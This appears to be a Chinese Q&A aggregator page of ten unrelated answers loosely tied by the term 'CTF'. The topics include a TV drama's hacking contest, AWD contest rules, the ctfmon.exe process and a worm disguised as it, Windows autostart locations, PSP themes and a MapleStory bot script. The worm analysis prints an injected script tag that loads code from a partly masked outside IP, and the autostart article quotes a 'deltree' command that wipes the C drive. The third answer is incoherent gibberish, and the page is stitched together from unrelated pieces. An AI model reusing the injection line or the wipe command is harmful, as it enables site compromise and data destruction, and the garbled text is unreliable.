‘壹’ 《亲爱的，热爱的》中的CTF大赛跟现实中的有什么差别
电视剧里CTF比赛是各个战队以俱乐部为主体参加，比赛需要电竞椅，电竞自闭耳机，最好还得有个电竞机械键盘,灯大灯闪灯会亮那种,不然选手发挥不出实力。平时我们训练地点都是网吧，打比赛超级多观众看，虽然不知道他们到底能看到什么。实际上的CTF比赛战队是以高校，科研单位，企业，信息安全从业者社会团体组成。比赛几乎没有电竞椅（少量有：比如 Real World CTF），但是有电竞自闭耳机的完全没有！少量选手会自带键盘，实际上大多数比赛以笔记本电脑为主。
怎么样？如果你喜欢我的回答请给我留言点赞哦~
‘贰’ CTF线下AWD比赛python脚本怎么使用
一般分配Web服务器，服务器（多数为Linux）某处存在flag（一般在根目录下）；
可能会提供一台流量分析虚拟机，可以下载流量文件进行数据分析；
flag在主办方的设定下每隔一定时间刷新一轮；
各队一般都有自己的初始分数；
flag一旦被其他队伍拿走，该队扣除一定积分；
扣除的积分由获取flag的队伍均分；
主办方会对每个队伍的服务进行check，服务宕机扣除本轮flag分数，扣除的分值由服务check正常的队伍均分；
一般每个队伍会给一个低权限用户，非root权限；
‘叁’ ctf入门需要学什么
西天不住们吸取要学什么诶，tf入门学习应该正常，是送一支是非常找到的。我觉得是一个很好的模式。
‘肆’ 电脑开机后出现C：/windows/system32/ctfmoon.exe这是什么呀，怎么办呢
进程文件: ctfmon 或者 ctfmon.exe
进程名称: Alternative User Input Services
描述：
ctfmon.exe是Microsoft Office产品套装的一部分。它可以选择用户文字输入程序，和微软Office XP语言条。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。
程序ctfmon.exe是有关输入法的一个可执行程序，系统默认情况下是随电脑开机而自动启动的。如果你设置了ctfmon.exe不随机自动启动，进入系统后你的电脑任务栏中的输入法图标（即语言栏）就不见了。
要设置ctfmon.exe随机自动启动，可以单击“开始”——>“运行”——>输入“msconfig”（引号不要输入），回车——>打开“系统配置使用程序”窗口——>选择“启动”页，找到ctfmon项并在其前面打上钩，按“应用”、“确定”，重启机器即可生效。
如果在“启动”页，找不到ctfmon项，说明注册表中已将该项删除，可以单击“开始”——>“运行”——>输入“regedit”（引号不要输入），回车——>打开“注册表编辑器”，定位到HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run，在窗口的右侧新建名字为ctfmon.exe的字符串值（REG_SZ），并将其值设置为“C:\WINDOWS\system32\ctfmon.exe”，然后关闭注册表编辑器，再执行前一步的操作即可.
出品者： Microsoft Corp.
属于： Microsoft Office Suite
系统进程： 是
后台程序： 是
使用网络： 否
硬件相关： 否
常见错误： 未知N/A
常见错误： 未知N/A
安全等级 (0-5): 0
间谍软件： 否
内存大小:3664k
广告软件： 否
病毒： 否
木马： 否
最近电脑突然卡，发现进程了多了很多个ctfmon.exe
感觉不对，马上用在线杀毒http://www.anti.cn/board/online/ 查杀
金山报毒！！！Win32.Troj.Downloader.c.45056
感染虫下载器45056 Win32.Troj.Downloader.c.45056
病毒行为:
这是一个蠕虫病毒。（蠕虫病毒比以前少了很多，但对局域网的影响会很大）
该病毒运行后,会指定的网络上下载病毒程序,并且会搜索局域网内机器,以弱口令进行尝试性连接
一旦连接成功,则判断该机器弱口令是否有足够的权限, 有则向该远程机器发送恶意数据,然后利用windows漏洞来下载程序,予以执行.
1.病毒运行后，产生以下病毒文件
%WINDIR%\ SYSTEM32\tmipo.bat
%WINDIR%\ SYSTEM32\taimpo.txt
2.添加病毒启动项
启动项名:svchost对应路径:%Documents and Settings%\Administrator\桌面\ctfmon.exe
3.病毒会触发taimpo.bat病毒文件,用来关闭"360安全卫士",使用户的安全性能降低.
4.病毒会检测连接的远程机器,当远程机器的登录木马是弱口令时,则会对该机器进行攻击,最后下载adi.vbs到用户机器上.
5.遍历磁盘，查找*.htm、*.PHP、*.ASP等网页文件，开始感染,插入一段JS代码：
script language=javascript src=http://218.**.**.248/qq.js
这段脚本病毒，可能会被用作下载更多的木马程序，利用蠕虫攻击传播，利用下载器种植木马，是目前黑客偷东西惯用的手法。
解决方案：
怕麻烦直接去下载专杀工具： http://bbs.anti.cn/forum-35-1.html
1.删除病毒生成的三个文件，可使用清理专家的文件粉碎器完成操作。
%WINDIR%\ SYSTEM32\tmipo.bat （%WINDIR%缺省是c:\windows目录）
%WINDIR%\ SYSTEM32\taimpo.txt
%Documents and Settings%\Administrator\桌面\ctfmon.exe（伪装成输入法的程序名）
2.使用金山清理专家的修复功能，将病毒添加的注册表启动项删除。
防范措施：
1.最最重要的，是给系统打补丁，登录系统一定要使用口令，就算是电脑只有自己一个人用，也需要安全的登录口令，口令不能太简单，以免被远程攻击工具猜解。（因为只要电脑接入互联网，就能给木马以机会。）
其它方案基本是相通的，不在缀述！
ctfmon.exe【样本】
文件名称：ctfmon.exe
文件大小：45,056 字节
AV命名：Win32.HLLW.Rubbish (Dr.Web v4.44);
Worm.Win32.Downloader.c (kav 7.0.0.125)
加壳方式：N/A
编写语言：Microsoft Visual C++ 6.0
病毒类型：蠕虫
文件MD5：
传播方式：网页漏洞
样本来源：剑盟 [病毒样本]
C:\Documents and Settings\Administrator\Local Settings\Temp里有三个DAT
用磁盘清扫
‘伍’ ctf题，找flag，求助各位大佬，谢谢
摘要 找到通过软件校验的flag，之后做md5sum填入flag{}里面就是flag了
‘陆’ PSP3000系统是6.20tn-c求详细的怎么按动态主题插件~
6.20 CTF主题教程&6.20可用炫丽CTF主题
说在前面的话：
每个主题包含着作者的辛苦心血 尤其620CTF的转换基本都要靠手动编写RCO脚本 转换一个620CTF就等于重新制作一个 所以请大家享受到CTF主题带来的炫丽同时 不要忘记谢谢原作者的辛勤劳动
CXMB不触及F0 无变砖危险 请放心使用！
CTF安装教程：
1.下载 CXMB安装器到PC并解压。（CXMB解压包360可能会有提示 但你可以解压后再用360杀毒 是无毒的 如果在意的童鞋就不要用了吧）
2.连接PSP到电脑，把你想要安装的CTF文件拖放到CXMB安装器程序图标上,当遇到提示时全部按“是”.
↓
↓
↓
3.成功后PSP进任意游戏退出出(620TN亦可使用VSH菜单的restart vsh功能)
在设定-主题设定-主题可看到PSP\THEME中的CTF主题
4.如安装完CTF后是看不到CTF的壁纸的 在列表里重新选择一次主题即可 以后更换主题只需要把CTF主题放在MS0\PSP\THEME文件夹，然后直接可以在主题列表选择
另：CTF主题不可用中文名！
PS：如果机型是PSPGO的玩友 在安装完毕后，修改seplugins\vsh.txt文件，把“ms0:/cxmb/cxmb.prx 1”改为“ef0:/cxmb/cxmb.prx 1”。cxmb\conf.txt里第二行添加"ef0"(不带引号
‘柒’ MXD傻挂脚本
时间之路1或3 下面这个为1，使用自带的就可以
走到,-844,1032
走到,845,1032
走到,-372,1032
跳跃
上爬
走到,-812,732
走到,-42,732
走到,-634,732
跳跃
上爬
走到,-802,432
走到,-317,432
走到,-756,432
跳跃
上爬
走到,-31,132
走到,-832,132
走到,-679,132
跳跃
上爬
走到,-804,-168
走到,54,132
上爬
走到,226,-108
上爬
走到,713,-288
走到,375,-288
走到,864,72
走到,711,72
下爬
走到,455,312
走到,846,732
循环
脚本重起设置为5秒钟左右gfctfr5
fcfde33333yyy
‘捌’ ctf加载程序可以不开机开启吗
一、经典的启动——“启动”文件夹 单击“开始→程序”，你会发现一个“启动”菜单，这就是最经典的Windows启动位置，右击“启动”菜单选择“打开”即可将其打开，如所示，其中的程序和快捷方式都会在系统启动时自动运行。最常见的启动位置如下：
当前用户：<C:\Documents and Settings\用户名\“开始”菜单\程序\启动>
所有用户：<C:\Documents and Settings\All Users\“开始”菜单\程序\启动>
二、有名的启动——注册表启动项
注册表是启动程序藏身之处最多的地方，主要有以下几项：
1.Run键
Run键是病毒最青睐的自启动之所，该键位置是[HKEY_CURRENT_
USER\Software\Microsoft\Windows\CurrentVersion\Run]和[HKEY_
LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]，其下的所有程序在每次启动登录时都会按顺序自动执行。
还有一个不被注意的Run键，位于注册表[HKEY_CURRENT_
USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 和[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
Policies\Explorer\Run]，也要仔细查看。
2.RunOnce键
RunOnce位于[HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\RunOnce]和[HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunOnce]键，与Run不同的是，RunOnce下的程序仅会被自动执行一次。
3.RunServicesOnce键
RunServicesOnce键位于[HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\RunServicesOnce]和[HKEY_LOCAL_MACHINE\
Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]下，其中的程序会在系统加载时自动启动执行一次。
4.RunServices键
RunServices继RunServicesOnce之后启动的程序，位于注册表[HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\RunServices]和 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\
RunServices]键。
5.RunOnceEx键
该键是Windows XP/2003特有的自启动注册表项，位于[HKEY_
CURRENT_USER\\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx]和 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ RunOnceEx]。
6.load键
[HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows]下的load键值的程序也可以自启动。
7.Winlogon键
该键位于位于注册表[HKEY_CURRENT_USER\SOFTWARE\
Microsoft\Windows NT\CurrentVersion\Winlogon]和[HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]，注意下面的Notify、Userinit、Shell键值也会有自启动的程序，而且其键值可以用逗号分隔，从而实现登录的时候启动多个程序。
8.其他注册表位置
还有一些其他键值，经常会有一些程序在这里自动运行，如：[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\Shell]
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad]
[HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System\Scripts]
[HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\System\Scripts]
小提示
注册表的[HKEY_LOCAL_MACHINE]和[HKEY_CURRENT_USER]键的区别：前者对所有用户有效，后者只对当前用户有效。
三、古老的启动——自动批处理文件
从DOS时代过来的朋友肯定知道autoexec.bat（位于系统盘根目录）这个自动批处理文件，它会在电脑启动时自动运行，早期许多病毒就看中了它，使用deltree、format等危险命令来破坏硬盘数据。如“C盘杀手”就是用一句“deltree /y c:\*.*”命令，让电脑一启动就自动删除C盘所有文件，害人无数。
小提示
★在Windows 98中，Autoexec.bat还有一个哥们——Winstart.bat文件，winstart.bat位于Windows文件夹，也会在启动时自动执行。
★在Windows Me/2000/XP中，上述两个批处理文件默认都不会被执行。
四、常用的启动——系统配置文件
在Windows的配置文件（包括Win.ini、System.ini和wininit.ini文件）也会加载一些自动运行的程序。
1.Win.ini文件
使用“记事本”打开Win.ini文件，在[windows]段下的“Run=”和“LOAD=”语句后面就可以直接加可执行程序，只要程序名称及路径写在“＝”后面即可。
小提示
“load=”后面的程序在自启动后最小化运行，而“run=”后程序则会正常运行。
2.System.ini文件
使用“记事本”打开System.ini文件，找到[boot]段下“shell=”语句，该语句默认为“shell= Explorer.exe”，启动的时候运行Windows外壳程序explorer.exe。病毒可不客气，如“妖之吻”病毒干脆把它改成“shell =c:\yzw.exe”，如果你强行删除“妖之吻”病毒程序yzw.exe，Windows就会提示报错，让你重装Windows，吓人不？也有客气一点的病毒，如将该句变成“shell=Explorer.exe 其他程序名”，看到这样的情况，后面的其他程序名一定是病毒程序如所示。
3.wininit.ini
wininit.ini文件是很容易被许多电脑用户忽视的系统配置文件，因为该文件在Windows启动时自动执后会被自动删除，这就是说该文件中的命令只会自动执行一次。该配置文件主要由软件的安装程序生成，对那些在Windows图形界面启动后就不能进行删除、更新和重命名的文件进行操作。若其被病毒写上危险命令，那么后果与“C盘杀手”无异。
小提示
★如果不知道它们存放的位置，按F3键打开“搜索”对话框进行搜索；
★单击“开始→运行”，输入sysedit回车，打开“系统配置编辑程序”，如图2所示，在这里也可以方便的对上述文件进行查看与修改。
五、智能的启动——开/关机/登录/注销脚本
在Windows 2000/XP中，单击“开始→运行”，输入gpedit.msc回车可以打开“组策略编辑器”，在左侧窗格展开“本地计算机策略→用户配置→管理模板→ 系统→登录”，然后在右窗格中双击“在用户登录时运行这些程序”，单击“显示”按钮，在“登录时运行的项目”下就显示了自启动的程序。
六、定时的启动——任务计划
在默认情况下，“任务计划”程序随Windows一起启动并在后台运行。如果把某个程序添加到计划任务文件夹，并将计划任务设置为“系统启动时”或“登录时”，这样也可以实现程序自启动。通过“计划任务”加载的程序一般会在任务栏系统托盘区里有它们的图标。大家也可以双击“控制面板”中的“计划任务”图标查看其中的项目。
小提示
“任务计划”也是一个特殊的系统文件夹，单击“开始→程序→附件→系统工具→任务计划”即可打开该文件夹，从而方便进行查看和管理。
七、跟着别人的启动——随软件开启的程序
‘玖’ 网络安全怎么学
你可以把网络安全理解成电商行业、教育行业等其他行业一样，每个行业都有自己的软件研发，网络安全作为一个行业也不例外，不同的是这个行业的研发就是开发与网络安全业务相关的软件。
既然如此，那其他行业通用的岗位在安全行业也是存在的，前端、后端、大数据分析等等，也就是属于上面的第一个分类，与安全业务关系不大的类型。这里我们重点关注下第二种，与安全业务紧密相关的研发岗位。
这个分类下面又可以分为两个子类型：
做安全产品开发，做防
做安全工具开发，做攻
防火墙、IDS、IPS
WAF（Web网站应用防火墙）
数据库网关
NTA（网络流量分析）
SIEM（安全事件分析中心、态势感知）
大数据安全分析
EDR（终端设备上的安全软件）
DLP（数据泄漏防护）
杀毒软件
安全检测沙箱
安全行业要研发的产品，主要（但不限于）有下面这些：
总结一下，安全研发的产品大部分都是用于检测发现、抵御安全攻击用的，涉及终端侧（PC电脑、手机、网络设备等）、网络侧。
开发这些产品用到的技术主要以C/C++、Java、Python三大技术栈为主，也有少部分的GoLang、Rust。
安全研发岗位，相对其他两个方向，对网络安全技术的要求要低一些（只是相对，部分产品的研发对安全技能要求并不低），甚至我见过不少公司的研发对安全一无所知。
‘拾’ 谁给我个ctfmom.exe文件呀
去下载一个吧:
http://www.fs2you.com/zh-cn/files/83a4a728-4ee4-11dd-8ded-001143e7b41c/